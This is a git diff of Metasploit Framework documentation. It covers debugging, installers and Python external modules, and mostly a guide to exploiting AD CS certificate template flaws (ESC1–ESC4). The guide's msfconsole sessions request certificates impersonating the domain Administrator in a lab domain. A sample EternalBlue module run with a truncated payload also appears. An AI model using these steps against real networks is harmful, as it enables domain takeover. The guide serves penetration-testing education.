||||
a specific place within your code and which allows you to view the state of the program at that time,
|
||||
make adjustments as needed, and then either step through the program or continue to let it run.
|
||||
|
||||
You can enter into an interactive debugging environment using `pry` by adding the following code
|
||||
snippet within your Metasploit module or library method:
|
||||
|
||||
```ruby
|
||||
require 'pry'; binding.pry
|
||||
```
|
||||
|
||||
Pry includes inbuilt commands for code navigation:
|
||||
|
||||
- `backtrace`: Show the current call stack
|
||||
- `up` / `down`: Navigate the call stack
|
||||
- `step`: Move forward by a single execution step
|
||||
- `next`: Move forward by a single line
|
||||
- `whereami`: Show the current breakpoint location again
|
||||
- `help`: View all of the available commands and options
|
||||
|
||||
Ruby's runtime introspection can be used to view the available methods, classes, and variables within the current Ruby environment:
|
||||
|
||||
- `self`: To find out what the current object is
|
||||
- `self.methods`: Find all available methods
|
||||
- `self.methods.grep /send/`: Searching for a particular method that you're interested in. This can be great to explore unknown APIs.
|
||||
- `self.method(:connect).source_location`: Find out which file, and which line, defined a particular method
|
||||
- `self.class.ancestors`: For complex modules, this can be useful to see what mixins a Metasploit module is currently using
|
||||
|
||||
To learn more about Pry, we recommend reading GitLab's guide at <https://docs.gitlab.com/ee/development/pry_debugging.html>.
|
||||
|
||||
## Debug.gem Debugging
|
||||
Ruby 3.1 and later come with `debug.gem` installed automatically, which is the new default debugger for Ruby. It replaces
|
||||
the old `lib/debug.rb` library that was not actively being maintained and replaces it with a modern debugging library
|
||||
capable of performing many debugging actions with next to no impact on the performance of the debugged application.
|
||||
|
||||
Whilst RubyMine does not support the `debug.gem` functionality, you can use VSCode to take advantage of `debug.gem`
|
||||
to get speedy debugging of Ruby scripts from within VSCode itself. Simply install the debugging plugin
|
||||
from <https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg>, then go to the Metasploit root directory,
|
||||
and if you have Bundler installed, run `bundle install`. This will bring in the latest version of the `debug` gem.
|
||||
|
||||
Once this is all done, open the `metasploit-framework` folder from a cloned GitHub copy of Metasploit Framework in VSCode
|
||||
by using `File->Open Folder`. Then click `Run->Add Configuration->Ruby(rdbg)`. This will create a file at
|
||||
`<metasploit root>/.vscode/launch.json`. Replace the contents of this file with the contents of the file at
|
||||
<https://github.com/rapid7/metasploit-framework/blob/master/external/vscode/launch.json>. If you wish, you can
|
||||
optionally change the listening port from `55634` in the script to one of your choice.
|
||||
|
||||
Finally click `Run->Start Debugging` to start debugging Metasploit Framework using VSCode. This may cause a prompt to
|
||||
appear that looks like `bundle exec ruby /home/tekwizz123/git/metasploit-framework/msfconsole`. Confirm this looks okay
|
||||
and that you are using `bundle exec ruby` to execute `msfconsole`. If all looks good, hit the `ENTER` key to confirm.
|
||||
At this point you should see Metasploit Framework open up.
|
||||
|
||||
If you want to prevent this prompt in the future then simply remove the `"askParameters": true,` line from `launch.json`.
|
||||
|
||||
Once in a debugging session, debug.gem supports the same commands as Pry in may cases, so the commands listed in the
|
||||
Pry section above should work in the same manner. Additionally debug.gem also supports extra commands for things such as
|
||||
tracing data. For more details refer to the command list at <https://github.com/ruby/debug#debug-command-on-the-debug-console>
|
||||
which provides a detailed list of debug.gem's supported commands. For more information on the VSCode rdbg plugin,
|
||||
refer to <https://code.visualstudio.com/docs/languages/ruby> and <https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg>.
|
||||
|
||||
## RubyMine Debugging
|
||||
RubyMine comes with its own built in debugger that is based off of the old `lib/debug.rb` library in Ruby, however it
|
||||
has custom patches and modifications applied to it by the JetBrains team. To set it up, first clone the Git repository
|
||||
for Metasploit-Framework locally, then go `File->Open` and click on the `metasploit-framework` folder to open it as a project.
|
||||
|
||||
Once this is done, go to `Run->Edit Configurations` and click the plus sign to add a new configuration. Select
|
||||
`Ruby`, and in the name field, enter a name that makes sense for you, such as `Metasploit Debug`. Under `Ruby Script`,
|
||||
enter the full path to `msfconsole` on your local machine. Finally, set the SDK to either `Use Project SDK` or select
|
||||
another Ruby SDK that RubyMine recognizes.
|
||||
|
||||
You can add a Ruby SDK by going to `File->Settings->Languages and Frameworks->Ruby SDK and Gems` and clicking the plus sign.
|
||||
@@ -20,7 +20,7 @@ Linux packages are built nightly for .deb (i386, amd64, armhf, arm64) and .rpm (
|
||||
|
||||
### macOS manual installation
|
||||
|
||||
The latest OS X installer package can also be downloaded directly here: <https://osx.metasploit.com/metasploitframework-latest.pkg>, with the last 10 builds archived at <https://osx.metasploit.com/>. Simply download and launch the installer to install Metaploit Framework with all of its dependencies.
|
||||
The latest OS X installer package can also be downloaded directly here: <https://osx.metasploit.com/metasploitframework-latest.pkg>, with the last 8 builds archived at <https://osx.metasploit.com/>. Simply download and launch the installer to install Metasploit Framework with all of its dependencies.
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
|
||||
@@ -232,7 +232,7 @@ The full list of available functions is as follows:
|
||||
#### meterpreter.transport
|
||||
|
||||
* `meterpreter.transport.list()` - list all transports in the target.
|
||||
* `meterpreter.transport.add(url, session_expiry, comm_timeout, retry_total, retry_wait, ua, proxy_host, proxy_user, proxy_pass, cert_hash)` - allows for transports to be added to the Meterpreter session. All but the `url` parameter come with a sane default. Full details of each of these parameters can be found in the [transport][] documentation.
|
||||
* `meterpreter.transport.add(url, session_expiry, comm_timeout, retry_total, retry_wait, ua, proxy_host, proxy_user, proxy_pass, cert_hash)` - allows for transports to be added to the Meterpreter session. All but the `url` parameter come with a sane default. Full details of each of these parameters can be found in the [[transport|meterpreter-transport-control]] documentation.
|
||||
|
||||
It is not possible to delete transports using the python extension as this opens the door to many kinds of failure.
|
||||
|
||||
@@ -331,7 +331,6 @@ Hell no! But the goal is to get closer and closer to perfect as we go. It's up t
|
||||
|
||||
Please do, making good use of the Github issues feature. Better still, create a PR for one!
|
||||
|
||||
[transport]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-transport-control.html
|
||||
[inveigh]: https://github.com/Kevin-Robertson/Inveigh
|
||||
|
||||
## Currently Loadable Native Libraries
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
SQL Injection library support was added in 2020 by @red0xff during the Google Summer of Code.
|
||||
SQL Injection library support was added in 2020 by [@red0xff](https://github.com/red0xff) during the Google Summer of Code.
|
||||
|
||||
## Supported Databases
|
||||
|
||||
|
||||
+2
-3
@@ -6,7 +6,7 @@ The Windows API comes with two ways to talk via HTTP/S, they are [WinInet][] and
|
||||
|
||||
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibilty of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
|
||||
|
||||
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [Paranoid Mode][] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
|
||||
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [[Paranoid Mode|./meterpreter-paranoid-mode.md]] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
|
||||
|
||||
For applications such as this, [WinHTTP][] is the "preferred" option as deemed by Microsoft. This API is designed to work under a service, and provides a greater number of ways to interact with communications made over HTTP/S. With this API it was trivial to implement the SHA1 hash verification and force Meterpreter to shut down when a MITM is detected.
|
||||
|
||||
@@ -61,5 +61,4 @@ HTTP/S communications in Windows is a hairy beast, and trying to cater for all c
|
||||
[WinInet]: https://msdn.microsoft.com/en-us/library/windows/desktop/aa383630%28v=vs.85%29.aspx
|
||||
[WinHTTP]: https://msdn.microsoft.com/en-us/library/windows/desktop/aa382925%28v=vs.85%29.aspx
|
||||
[winhttp_wininet]: https://msdn.microsoft.com/en-us/library/windows/desktop/hh227298%28v=vs.85%29.aspx
|
||||
[Paranoid Mode]: https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-paranoid-mode.html
|
||||
[OJ]: https://github.com/OJ
|
||||
[OJ]: https://github.com/OJ
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
|
||||
Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point:
|
||||
|
||||
* <https://tryhackme.com/room/rpmetasploit>
|
||||
* <http://www.offensive-security.com/metasploit-unleashed/Main_Page>
|
||||
* <https://metasploit.help.rapid7.com/docs/>
|
||||
* <https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/>
|
||||
|
||||
@@ -169,6 +169,99 @@ if __name__ == '__main__':
|
||||
```
|
||||
The example sends a get request to the given `rhost` and `targeturi`, then calls `logging.info()` on the result to have the output displayed in msfconsole.
|
||||
|
||||
### Debugging Python modules
|
||||
|
||||
If you want to run an external module as a standalone program from your metasploit-framework folder just specify the Python path to include
|
||||
the Metasploit library support and run the module directly:
|
||||
|
||||
```
|
||||
$ PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py
|
||||
```
|
||||
|
||||
The Python module will wait for stdin to receive JSON-RPC input. Entering the request to run the module:
|
||||
|
||||
```jsonl
|
||||
{ "jsonrpc": "2.0", "id": "1337", "method": "run", "params": { "rhosts": ["127.0.0.1"], "rport": "49152" } }
|
||||
```
|
||||
|
||||
You will see the JSON-RPC responses printed to stdout:
|
||||
|
||||
```jsonl
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "debug", "message": "127.0.0.1:49152 - Connected"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "debug", "message": "127.0.0.1:49152 - Received 5 bytes"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "127.0.0.1:49152 - Does not match"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "debug", "message": "127.0.0.1:49152 - Does not match with: bytearray(b'xxxxx')"}}
|
||||
```
|
||||
|
||||
You can pipe the JSON-RPC request as well for automation purposes:
|
||||
|
||||
```
|
||||
echo '{ "jsonrpc": "2.0", "id": "1337", "method": "run", "params": { "rhosts": ["127.0.0.1"], "rport": "49152" } }' | PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py
|
||||
```
|
||||
|
||||
The Python external modules can be run directly with command line options:
|
||||
|
||||
```
|
||||
$ PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3.9 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py --help
|
||||
usage: att_open_proxy.py [-h] --rhosts RHOSTS [--rport RPORT] [ACTION]
|
||||
|
||||
The Arris NVG589 and NVG599 routers configured with AT&T U-verse firmware 9.2.2h0d83 expose an un-authenticated proxy that allows connecting from WAN to LAN by MAC address.
|
||||
|
||||
positional arguments:
|
||||
ACTION The action to take (['run'])
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--rport RPORT The target port, (default: 49152)
|
||||
|
||||
required arguments:
|
||||
--rhosts RHOSTS The target address
|
||||
```
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 ./modules/auxiliary/scanner/wproxy/att_open_proxy.py --rhosts 127.0.0.1 --rport 49152
|
||||
```
|
||||
|
||||
For exploit modules, the payload is encoded encoded using Base64 and specified in a top level `payload_encoded` key, implemented [here](https://github.com/rapid7/metasploit-framework/blob/668735e4185968405c0073465f9aafbf62930538/lib/msf/core/modules/external/templates/remote_exploit.erb#L36-L39).
|
||||
Below is an example of the ([now deleted](https://github.com/rapid7/metasploit-framework/pull/15217)) [ms17_010_eternalblue_win8.py](https://github.com/rapid7/metasploit-framework/blob/6dd298ebb76a1617e24da5e4c73e43a46b226a23/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py) module running:
|
||||
|
||||
```
|
||||
$ cat options.json
|
||||
{
|
||||
"jsonrpc": "2.0",
|
||||
"id": "1337",
|
||||
"method": "run",
|
||||
"params": {
|
||||
"VERBOSE": true,
|
||||
"RHOST": "192.168.144.131",
|
||||
"RPORT": "445",
|
||||
"GroomAllocations": 13,
|
||||
"ProcessName": "spoolsv.exe",
|
||||
"SMBUser": "test",
|
||||
"SMBPass": "123456",
|
||||
"payload_encoded": "/EiD5PDozAAA...etc...==="
|
||||
}
|
||||
}
|
||||
|
||||
$ cat options.json | PYTHONPATH=./lib/msf/core/modules/external/python:$PYTHONPATH python3 modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "shellcode size: 1221"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "numGroomConn: 13"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "Target OS: Windows 10 Pro 10240"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "got good NT Trans response"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "got good NT Trans response"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "SMB1 session setup allocate nonpaged pool success"}}
|
||||
{"jsonrpc": "2.0", "method": "message", "params": {"level": "info", "message": "SMB1 session setup allocate nonpaged pool success"}}
|
||||
```
|
||||
|
||||
To add breakpoints to your Python code, add the below code snippet. Note that the interactive breakpoints will only work when
|
||||
running the external modules as standalone Python scripts, and won't work when running from msfconsole:
|
||||
|
||||
```python
|
||||
import pdb; pdb.pry
|
||||
```
|
||||
|
||||
## Coding with Style
|
||||
|
||||
All the Python code in Metasploit aims to be [PEP 8](https://www.python.org/dev/peps/pep-0008/) compliant. The biggest differences coming from Metasploit's Ruby style:
|
||||
@@ -202,4 +295,4 @@ The external modules communicate with framework via JSON-RPC. If your Python mod
|
||||
|
||||
[Metasploit Python library](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/modules/external/python/)
|
||||
|
||||
[ERB Templates](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/modules/external/templates)
|
||||
[ERB Templates](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/modules/external/templates)
|
||||
|
||||
+270
-72
@@ -2,7 +2,7 @@
|
||||
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server
|
||||
for testing purposes.
|
||||
|
||||
## Introduction to AD CS Vulnerabilities
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
@@ -13,9 +13,10 @@ flowchart TD
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking three common AD CS
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
@@ -27,20 +28,24 @@ and finally using these certificates to authenticate to the domain as the domain
|
||||
administrator via Kerberos.
|
||||
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2, or ESC3. These ESC codes are taken from the original whitepaper that
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client
|
||||
Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates +
|
||||
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#using-the-esc1-vulnerability-to-get-a-certificate-as-the-domain-administrator]]
|
||||
- ESC2 - Domain escalation via No Issuance Requirements + Enrollable Any Purpose
|
||||
EKU or no EKU
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]]
|
||||
- ESC3 - Domain escalation via No Issuance Requirements + Certificate Request
|
||||
Agent EKU + no enrollment agent restrictions
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc3-to-gain-domain-administrator-privileges]]
|
||||
- ESC4 - Domain escalation via misconfigured certificate template access control
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]]
|
||||
- ESC5 - Domain escalation via vulnerable PKI AD Object Access Control
|
||||
- ESC6 - Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No
|
||||
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
|
||||
@@ -68,8 +73,8 @@ post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-servi
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently Metasploit only supports attacking ESC1 to ESC3. As such,
|
||||
this paper only covers exploiting ESC1 to ESC3 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -91,7 +96,7 @@ certificates that are created using the vulnerable ESC2 certificate template
|
||||
will not work for domain authentication. This restriction does not apply for those
|
||||
certificates vulnerable to ESC2 which have the `Any Purpose` EKU applied to them.
|
||||
|
||||
Finally, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU
|
||||
Next, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU
|
||||
is abused, and the attacker also needs to utilize two different misconfigured certificate
|
||||
templates in order to exploit the vulnerability. The EKU in question this time is the
|
||||
Certificate Request Agent EKU, aka OID 1.3.6.1.4.1.311.20.2.1, which allows one to enroll
|
||||
@@ -129,6 +134,8 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
a specific certificate template, which is applied to the certificate template itself. Therefore, the module will also specify which users are
|
||||
@@ -177,10 +184,10 @@ View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
|
||||
DOMAIN => DAFOREST
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normal
|
||||
USERNAME => normal
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normaluser
|
||||
PASSWORD => normaluser
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
|
||||
USERNAME => normaluser
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
|
||||
PASSWORD => normalpass
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
@@ -300,22 +307,40 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
|
||||
```
|
||||
|
||||
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate tempalte. At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that useful for us.
|
||||
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However,
|
||||
whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions
|
||||
prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate template.
|
||||
At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that
|
||||
useful for us.
|
||||
|
||||
Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their privileges.
|
||||
Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on
|
||||
the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-
|
||||
BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means
|
||||
that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their
|
||||
privileges.
|
||||
|
||||
Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but vulnerable to ESC3_TEMPLATE_2 attacks.
|
||||
Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack.
|
||||
ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but
|
||||
vulnerable to ESC3_TEMPLATE_2 attacks.
|
||||
|
||||
We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack.
|
||||
We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from
|
||||
Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory
|
||||
that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack.
|
||||
|
||||
Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and who's issuing CA allows any authenticated user to request it.
|
||||
Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and
|
||||
who's issuing CA allows any authenticated user to request it.
|
||||
|
||||
With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the `ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates.
|
||||
With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the
|
||||
`ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates.
|
||||
|
||||
## Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator
|
||||
Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. Luckly we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why we can do this here.
|
||||
# Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator
|
||||
Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can.
|
||||
Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to
|
||||
specify who we would like to authenticate as instead. Note that this only works with certificate templates that are
|
||||
vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set.
|
||||
|
||||
If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up:
|
||||
If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can
|
||||
quickly set this up:
|
||||
|
||||
```msf
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
@@ -327,10 +352,12 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
|
||||
SMBDomain => DAFOREST
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
|
||||
SMBPass => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
|
||||
SMBUser => normal
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
|
||||
ALT_UPN => Administrator@daforest.com
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
@@ -338,6 +365,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
|
||||
[*] 172.30.239.85:445 - Requesting a certificate...
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
@@ -368,10 +396,10 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
|
||||
CERT_TEMPLATE => ESC2-Template
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
|
||||
SMBDomain => DAFOREST
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
|
||||
SMBPass => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
|
||||
SMBUser => normal
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
@@ -388,8 +416,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
ploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -442,8 +470,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
ploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -481,8 +509,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
tasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -521,18 +549,27 @@ We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket grant
|
||||
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
|
||||
|
||||
# Exploiting ESC3 To Gain Domain Administrator Privileges
|
||||
